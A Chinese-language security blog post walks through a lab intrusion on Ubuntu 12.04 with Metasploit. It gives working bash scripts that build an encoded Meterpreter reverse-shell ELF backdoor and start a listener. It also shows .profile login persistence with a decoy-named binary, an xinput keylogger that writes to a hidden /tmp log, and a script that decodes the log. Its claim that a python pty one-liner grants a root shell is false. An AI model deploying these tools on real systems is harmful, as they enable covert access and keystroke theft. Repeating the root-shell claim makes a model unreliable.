Metasploit滲透Ubuntu 12.04攻擊測試演練
這篇文章寫來主要是一次娛樂性的練習。共享出攻擊的細節(jié),其中包括一些經(jīng)過原作者修改過的各種來源的腳本文件。滲透的過程不是重點,之所以發(fā)出來最大的原因主要是文章后半部分維持持久化攻擊的一些地方還是很值得學習的,順便大家也可以再次熟悉一下MSF框架。希望對大家有所幫助。
攻擊環(huán)境:
Ubuntu12.04LTS 32bit(靶機,默認的軟件安裝配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻擊機)
首先,我們先準備一個簡單的二進制ELF可執(zhí)行文件生成器的bash腳本,這樣后續(xù)工作就可以輕松很多。然后將腳本放在Metasploit的主目錄下:
- #!/bin/bash
- clear
- echo"************************************************"
- echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *"
- echo"************************************************"
- echo -e "What IP are we gonna use ex. 192.168.0.1? \c"
- read IP
- echo -e "What Port Number are we gonnalisten to? : \c"
- read port
- ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive
- echo "Executive binarygenerated.."
- chmod u=rwx Executive
- ls -la Executive
運行腳本之后進行簡單的配置之后我們就有了一個名為Executive的二進制可執(zhí)行文件。
接下來需要我們在攻擊機上啟動一個監(jiān)聽來等待靶機主動連上來,因為我們這里使用了全球流行的reverse后門哇咔咔!為了工作更加簡(zhuang)單(bi),我這里又寫了一個bash,然后將bash文件也放在Metasploit的主目錄下面:
- #!/bin/bash
- clear
- echo"*********************************************"
- echo " METASPLOIT LINUX METERPRETER LISTENER *"
- echo"*********************************************"
- echo "Here is a network device listavailable on yor machine"
- cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
- echo -e "What network interface are wegonna use ? \c"
- read interface
- echo -e "What Port Number are we gonnalisten to? : \c"
- read port
- # Get OS name
- OS=`uname`
- IO="" # store IP
- case $OS in
- Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;
- *)IP="Unknown";;
- esac
- echo " starting the meterpreter listener.."
- ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
好了,監(jiān)聽生成結(jié)束,然后就需要我們使用各種猥瑣的方式將后門木馬轉(zhuǎn)給Ubuntu靶機執(zhí)行。因為這里是練習,所以我們直接將ELF文件放在受害機中執(zhí)行
此處有圖勝有聲
現(xiàn)在我們就已經(jīng)在靶機上成功執(zhí)行了這個“未知”的二進制文件。當我們雙擊這個文件時沒有任何反應(所以這個時候后門注入才是王道),不過我們的攻擊機上的監(jiān)聽已經(jīng)有了結(jié)果:
然后呢?我們現(xiàn)在有了一個meterpreter shell,不過應該怎樣獲取到root權(quán)限呢?接下來的工作才是最有趣的部分:接下來,我們將在靶機的home中放一個后門文件,并通過修改.profile文件做到每次靶機啟動的時候都會執(zhí)行我們的后門。為了做到這步,我們首先需要下載靶機的.profile文件:
我們在文件中加了一點點內(nèi)容以保證每次登錄都能成功執(zhí)行我們的后門文件,這里加的是./executive(用的就是生成的后門文件名,這里我們可以起一些誘惑性大的名字比如sys.conf之類的,但是要保證文件具有可執(zhí)行+x權(quán)限)
然后我們將修改后的.profile文件傳回靶機
接著我們上傳我們的ELF二進制可執(zhí)行文件到靶機的home目錄里面,并改名為executive同時要保證文件具有RWX屬性
那么現(xiàn)在我們就獲得了一個簡單的持久性后門,每次靶機開機我們這邊就可以獲得一個上線shell,并且文件時靜默執(zhí)行不含任何防腐劑的。
好的,第一步持久化我們已經(jīng)完成了,接下來我們做點什么呢?#p#
鍵盤記錄
Ubuntu自帶xinput所以我們可以利用這個做一個鍵盤記錄keylogger記錄靶機在X界面下的一些按鍵輸入。同時這里作者又寫了一bash腳本(……):
- #!/bin/bash
- export DISPLAY=:0.0
- xinput list
- echo -e "KBD ID ?"
- read kbd
- xmodmap -pke > /tmp/.xkey.log
- script -c "xinput test $kbd" |cat >> /tmp/.xkey.log &
- echo "The keylog can be downloadedfrom /tmp/.xkey.log"
- echo "Use the meterpreter downloadfunction"
- echo "Press CTLR+C to exit thissession, keylogger will run in backround"
寫完之后我們將腳本放在靶機中然后執(zhí)行。當然最好也來個登錄啟動。
啟動之后我們還需要手工找到鍵盤的KBD ID,然后輸入,這里是10
然后讓腳本去識別一下。腳本記錄的log文件默認是放在/tmp文件夾下的,一段時間之后,我們下載下來分析一下。
這個腳本的生成的內(nèi)容地球人是看不懂的,所以我們將log文件down下來之后還需要進行接下來的處理,這里作者寫了一個bash文件生成了一個python腳本來解碼這段天書log(…),下面是解碼的bash腳本:
- #!/bin/sh
- cat .xkey.log | grep keycode >xmodmap.pke
- cat .xkey.log | grep 'key p' > xlog
- rm -f .xkey.log
- #Generating some Python to do the decoding
- echo 'import re, collections, sys' >decoder.py
- echo 'from subprocess import *' >>decoder.py
- echo 'def keyMap():' >> decoder.py
- echo ' table = open("xmodmap.pke")' >> decoder.py
- echo ' key = []' >> decoder.py
- echo ' for line in table:' >> decoder.py
- echo " m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py
- echo ' if m and m.groups()[1]:' >> decoder.py
- echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py
- echo ' return key' >> decoder.py
- echo 'def printV(letter):' >>decoder.py
- echo ' key=keyMap();' >> decoder.py
- echo ' for i in key:' >> decoder.py
- echo ' if str(letter) ==i.split("_____")[1]:' >> decoder.py
- echo ' return i.split("_____")[0]'>> decoder.py
- echo ' return letter' >> decoder.py
- echo 'if len(sys.argv) < 2:' >>decoder.py
- echo ' print "Usage: %s FILE" %sys.argv[0];' >> decoder.py
- echo ' exit();' >> decoder.py
- echo 'else:' >> decoder.py
- echo ' f = open(sys.argv[1])' >>decoder.py
- echo ' lines = f.readlines()' >>decoder.py
- echo ' f.close()' >> decoder.py
- echo ' for line in lines:' >> decoder.py
- echo " m = re.match('keyss +(\d+)',line)" >> decoder.py
- echo ' if m:' >> decoder.py
- echo ' keycode =m.groups()[0]' >> decoder.py
- echo ' print(printV(keycode))' >> decoder.py
- echo 'Please see LOG-keylogger for theoutput......'
- python decoder.py xlog > LOG
- sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger
- rm -f LOG
- rm -f xmodmap.pke
- rm -f decoder.py
- rm -f xlog
- cat LOG-keylogger
現(xiàn)在我們運行一下這個bash腳本,我們就可以看到效果了:
好,keylogger也搞完了接下來就是怎么樣獲取到root權(quán)限了。#p#
獲取root權(quán)限
在這里,因為我們的后門不是root執(zhí)行的所以當我們執(zhí)行sudo su的時候是會報錯的
這里有一個繞過的好方法,就是利用自帶的python來獲取一個root shell(如果仔細看過我之前VPN滲透那篇文章的同學應該記得這個trick):
python -c “import pty;pty.spawn(‘/bin/bash’)”
這樣我們就成功獲取到了一個root級別的shell,整個過程就完滿完成了。
后記
CentOS, Debian Squeeze等有些系統(tǒng)默認是不帶xinput的所以keylogger的部分就沒辦法完成了。
另外,要想防止這個鍵盤記錄其實也很簡單,只要去掉xinput的可執(zhí)行權(quán)限就可以了
chmod a-x /path/to/xinput
當然,即便是目標機器上沒有自帶xinput那難道就會難倒我們么?拜托我們都已經(jīng)有了meterpreter shell了好么。
最后附上作者做的良心的視頻Demo(已搬回墻內(nèi),不謝!):
高清視頻請自行下載:http://pan.baidu.com/s/1jGpAVWE
有梯子的土豪點這里:http://www.youtube.com/embed/_k_DtYhIOpY
[文/FreeBuf小編xia0k 參考來源:astr0baby.wordpress.com